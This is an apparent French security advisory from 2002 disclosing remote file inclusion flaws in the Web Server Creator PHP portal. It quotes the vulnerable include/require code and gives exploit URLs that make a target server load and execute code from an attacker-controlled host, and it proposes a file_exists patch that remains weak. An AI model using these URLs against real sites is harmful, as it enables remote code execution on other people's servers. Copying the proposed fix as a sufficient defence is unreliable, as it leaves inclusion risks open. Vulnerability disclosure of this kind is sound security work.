Web Server Creator - Web Portal
*******************************
Informations :
°°°°°°°°°°°°°°
Langage : PHP
Website : http://webcreator.com02.com
Version : 0.1
Problème : Inclusion de fichiers
Developpement :
°°°°°°°°°°°°°°°
WSC est un portail PHP comprenant un forum, un chat, un book, des news, une newsletter,...
Tout d'abord il faut savoir que la newsletter utilisée n'est pas une newsletter propre à
WSC. C'est le service phpMyNewsLetter. La même faille se trouve donc dans WSC !!
Dans news/include/customize.php, on peut voir :
------------------
<?
$langfile = $l;
include $l;
?>
------------------
qui sera utilisable de cette façon :
http://[target]/news/include/customize.php?l=http://[attacker]/file.txt
pour inclure le fichier
http://[attacker]/file.txt
et faire executer le code qu'il contient sur le serveur [target].
La faille du même type, include, mais qui elle est propre à Web Server Creator, se
trouve dans index.php. On peut y voir le code suivant :
-----------------------------------
[...]
if (!$pg) { $pg = "acceuil"; }
[...]
require ("$pg.php");
?>
[...]
-----------------------------------
La fonction require() est en gros le même principe que include(), comme include_once()
et require_once()... ou du moins ils ont comme point commun la même faille.
Si la variable $pg n'a pas de valeur, elle vaut 'acceuil', et quoi qu'il arrive on inclut
$pg.php .
Pour inclure par exemple le fichier http://[attacker]/badfile.php, contenant le code
<? echo "<? echo \$hop; ?>"; ?>, et faire executer se dernier, il faudra taper l'url
http://[target]/index.php?pg=http://[attacker]/badfile&hop=Hello%20World
Ce qui affichera "Hello Worl" sur l'index de http://[target]/.
Patch :
°°°°°°°
Supprimer les lignes buggées dans news/include/customize.php, et dans index.php,
remplacer la ligne
require ("$pg.php");
par :
-------------------
if (file_exists($pg.".php")){
require ("$pg.php");
}
-------------------
Un patch est disponible sur http://www.phpsecure.org .
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : leseulfrog@hotmail.com
Website : http://www.frog-man.org
Date : 18/11/02
Copyright frog-m@n
http://www.phpsecure.info/v2/zone/pArticle